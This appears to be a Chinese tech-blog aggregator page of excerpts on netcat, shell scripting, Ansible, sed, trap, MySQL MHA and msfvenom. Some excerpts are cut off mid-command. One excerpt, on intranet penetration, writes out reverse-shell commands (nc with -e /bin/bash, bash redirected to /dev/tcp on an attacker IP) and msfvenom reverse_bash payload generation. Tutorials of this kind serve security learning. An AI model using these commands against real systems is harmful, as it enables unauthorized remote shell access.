shell脚本

linux netcat命令

心不动则不痛 提交于 2020-01-26 00:38:37
netcat是网络工具中的“ 瑞士军刀” ,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流, 在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 -a 显示所有socket,包括正在监听的。 netstat –apn |grep 进程名 查看所有的进程和端口使用情况。发现下面的进程列表,其中最后一栏是PID/Program name 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat 命令实例: 1,端口扫描 端口扫描经常被系统管理员和黑客用来发现在一些机器上开放端口,帮助他们识别系统中的漏洞。 $nc -z -v -n 172.31.100.7 21-25 可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,指的是一旦连接关闭,不进行数据交换(译者注:这里翻译不准,如有其它更好的,请指出) v 参数指使用冗余选项(译者注:即详细输出) n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

内网渗透-反弹shell

元气小坏坏 提交于 2020-01-25 02:58:53
大年初一,当然是更一篇重磅文章啦 反弹shell /bin目录下带sh的都是shell nc 1.正向连接,目标机监听自身端口,攻击机主动建立连接 目标机:nc -lvvp 端口 -e /bin/bash (-e cmd.exe) 攻击机:nc -vv 目标IP 监听端口 适用情况:目标机有独立外网ip,攻击机有无都行 2.反向连接,攻击机监听自身端口,目标机主动建立连接 攻击机:nc -lvvp 端口 目标机:nc -vv 攻击机ip 端口 -e /bin/bash 适用情况:攻击机有独立外网ip,目标机在内网,只有一个或多个映射端口 3.聊天/传文件 攻击机:nc -lvvp 端口 < 文件 目标机:nc -vv 攻击机IP 攻击机端口 > 文件 注意:有防火墙会连不上,得找放过的端口 bash 攻击机监听:nc -lvvp 端口 目标机:bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1 把bash重定向 使用kali下msfvenom生成payload msfvenom -l payloads | grep bash #搜索payload制作命令 msfvenom -p cmd/unix/reverse_bash LHOST=攻击机IP LPORT=攻击机端口 #制作payload 目标机运行payload:0<&209-;exec 209<>/dev

第一个shell脚本的编写+脚本的运行方式+which命令

会有一股神秘感。 提交于 2020-01-25 02:55:33
文章目录 which和/etc/shells文件 向用户输出"hello shell" 接收用户的输入数据 在新进程中运行shell脚本 在当前进程中运行shell脚本 soucre命令(.命令) source用法( 将自身脚本中的变量值或函数等的返回值返回到当前shell) which和/etc/shells文件 which命令的功能: which命令用于查找并显示给定命令的绝对路径, 环境变量$PATH中保存了查找命令时需要遍历的目录。 which指令会在环境变量$PATH设置的目录里查找符合条件的文件。 使用which命令,就可以看到某个系统命令是否存在, 以及执行的到底是哪一个位置的命令。 向用户输出"hello shell" 接收用户的输入数据 从终端读取用户输入的数据 并赋值给preson变量。 read命令来从标准输入中读取用户输入的数据。 在新进程中运行shell脚本 在前文中,我们介绍了四种运行shell脚本的方法,它们既有联系又有区别。联系就是都可以运行一个shell脚本。区别如下: 以下命令均是在新进程中运行shell脚本 1. sh xxx . sh 2. chmod + x xxx . sh #将shell脚本作为程序执行 . / xxx . sh 上述命令均需要在脚本文件中指定shell解释器 3. / bin / bash xxx . sh

ansible批量部署(一)

大憨熊 提交于 2020-01-25 00:42:28
自动化运维工具 shell脚本/Ansible(无客户端)/Saltstack(master-minion) 回顾服务器部署的流程: 买云主机->环境部署->软件部署->配置部署->启动服务->测试->加入集群 1.Ansible基本概述 ansible是一个配置管理系统configuration management system你只需要可以使用ssh访问你的服务器或设备就行 Ansible能做什么 可以帮助我们完成一些批量任务,或者完成一些需要经常重复的工作。 Ansible软件特点 1.ansible不需要单独安装客户端,SSH相当于ansible客户端 2.ansible不需要启动任何服务,仅需安装对应工具即可 3.ansible依赖大量的python模块实现批量管理 4.ansible配置文件/etc/ansible/ansible.cfg Ansible基础架构 1.连接插件(connector plugins)用于连接主机 用来连接被管理端 2.核心模块(core modules)连接主机实现操作,它依赖于具体的模块来做具体的事情 3.自定义模块(custom modules)根据自己的需求编写具体的模块 4.插件(plugins)完成模块功能的补充 5.剧本(playbooks) ansible的配置文件,将多个任务定义在剧本中,由ansible自动执行 6

【tool】远控免杀专题文章-msfvenom隐藏的参数

末鹿安然 提交于 2020-01-24 22:04:49
本节目录如下: msfvenom简介 msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。 常规参数 msfvenom所有参数 部分参数解读 -p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, –nopsled < length> 为payload预先指定一个NOP滑动长度 -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表) -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

mha的搭建步骤(一主一从架构)

青春壹個敷衍的年華 提交于 2020-01-24 20:28:10
所需脚本文件到这里下载:http://note.youdao.com/share/web/file.html?id=ae8b11a61f7a8aa7b52aac3fcf0c4b83&type=note 环境: centos 6.5 x64 192.168.0.32 # master 192.168.0.33 #管理节点和从节点 slave VIP: 192.168.0.62 iptables打开 mysql端口 selinx关闭: shell > vim /etc/selinux/config SELINUX=disabled 1.安装 mysql 5.5.x以上的版本 (如果是 5.6以上的版本,不建议开启 GTID复制 ),并搭建好双主复制,复制用户: repl,复制用户密码: 123456 主从复制搭建好后,从库执行下面两个命令 (不要加入到 my.cnf中,因为从库随时可能被提升为 master) mysql -e 'set global read_only=1;set global relay_log_purge=0;' 如果是刚刚初始化安装完成的 mysql,建议进行安全清理: mysql > delete from mysql.user where user!='root' or host !='localhost'; mysql > truncate table

shell信号捕捉命令 trap

喜夏-厌秋 提交于 2020-01-24 14:54:50
trap 命令 tarp 命令用于在接收到指定信号后要执行的动作,通常用途是在shell脚本被中断时完成清理工作。例如: 脚本在执行时按下 CTRL+c 时,将显示"program exit..."并退出( CTRL+c 的信号是SIGINT) #!/bin/bash trap "ehco 'program exit...'; exit 2" SIGINT .... 信号 常用信号 信号名称 信号数 描述 SIGINT 2 程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl+C)时发出。 SIGQUIT 3 和SIGINT类似, 但由QUIT字符(通常是Ctrl /)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号。 SIGFPE 8 在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。 SIGKILL 9 用来立即结束程序的运行. 本信号不能被阻塞, 处理和忽略。 SIGALRM 14 时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号。 SIGTERM 捕获信号 trap的命令语法: trap command signal 这里的 command 可以是linux命令,或用户定义的函数。 signal 是 信号名称 或 信号数

【Shell】脚本 Sed命令的使用

大兔子大兔子 提交于 2020-01-24 03:17:13
sed是一个很好的文件处理工具,本身是一个管道命令,主要是以行为单位进行处理,可以将数据行进行替换、删除、新增、选取等特定工作,下面先了解一下sed的用法 sed命令行格式为: sed [-nefri] ‘command’ 输入文本 常用选项: -n∶使用安静 ( silent ) 模式。在一般 sed 的用法中,所有来自 STDIN的资料一般都会被列出到萤幕上。但如果加上 -n 参数后,则只有经过sed 特殊处理的那一行 ( 或者动作 ) 才会被列出来。 -e∶直接在指令列模式上进行 sed 的动作编辑; -f∶直接将 sed 的动作写在一个档案内, -f filename 则可以执行 filename 内的sed 动作; -r∶sed 的动作支援的是延伸型正规表示法的语法。 ( 预设是基础正规表示法语法 ) -i∶直接修改读取的档案内容,而不是由萤幕输出。 常用命令: a ∶新增, a 的后面可以接字串,而这些字串会在新的一行出现 ( 目前的下一行 ) ~ c ∶取代, c 的后面可以接字串,这些字串可以取代 n1,n2 之间的行! d ∶删除,因为是删除啊,所以 d 后面通常不接任何咚咚; i ∶插入, i 的后面可以接字串,而这些字串会在新的一行出现 ( 目前的上一行 ) ; p ∶列印,亦即将某个选择的资料印出。通常 p 会与参数 sed -n 一起运作~ s ∶取代

shell 条件测试

时光怂恿深爱的人放手 提交于 2020-01-24 01:22:00
1、文件相关 -e 判断文件或者文件夹是否存在 -d 判断目录是否存在 -f 判断文件是否存在 -r 判断是否有读权限 -w 判断是否有写权限 -x 判断是否有执行权限 1.1命令行使用 [root@localhost ~]# [ ! -e test/ ] && mkdir test/ #如果test/文件夹并存在,就创建。 1.2脚本中使用,一般配合条件控制语句使用。 [root@localhost script]# cat m_t.sh #!/bin/bash #移动脚本文件至指定文件夹 ls *.sh > sh.txt if [ ! -d script/ ];then mkdir script/ fi for i in `cat sh.txt` do echo $i mv $i script/ done 2、数字相关 -gt 大于 -ge 大于等于 -eq 等于 -lt 小于 -le 小于等于 -ne 不等于 2.1、小脚本,内存使用率超过80%则提醒 [root@localhost script]# cat mem.sh #!/bin/bash MEM_USE=`free -m|grep "^M"|awk '{print $3/$2 *100}'|cut -d . -f1` if [ $MEM_USE -ge 80 ];then echo -e "\e[1;5m \e[1

shell脚本day03-编程原理

隐身守侯 提交于 2020-01-23 21:35:09
一、编程介绍   (计算机只能识别二进制指令)   早期编程:驱动和硬件默认不能使用,但不同厂家设备之间需要进行指令沟通,我们需要驱动来进行翻译;更趋紧与硬件开发的工程师,要学习汇编语言,而汇编语言被厂家所限制。C,C++的底层就是汇编语言 现在编程基于高级语言,以及超高级语言,更好的让程序员能够实现汇报功能。高级语言、超高级语言需要翻译成计算机可读的语言(二进制指令) 汇编语言的分类 解释型---逐行解释,逐行执行 shell python java 编译型---一次编译,全部行 C C++ C# java 面向对象---侧重于数据的编程语言 面向过程---侧重于指令 编程语言的执行方式:       【按行执行】 顺序执行 循环执行---for(遍历) while(循环条件) until(和while相反) 选择执行---分支 if case 二、shell脚本语言介绍   shell语句是面向过程的,侧重于指令集。     优点:调用os(操作系统)的命令行,来实现所有功能;   缺点:没有库调用(区别于python)   shell语句的基本组成成分: 命令(重点!) 变量(全局变量、局部变量、本地变量) 逻辑关系 数据-变量(转参)   shell没有内嵌函数,没有函数库调用,没有调用库的接口 三、shell的第一句话(重要)    #!/bin/bash /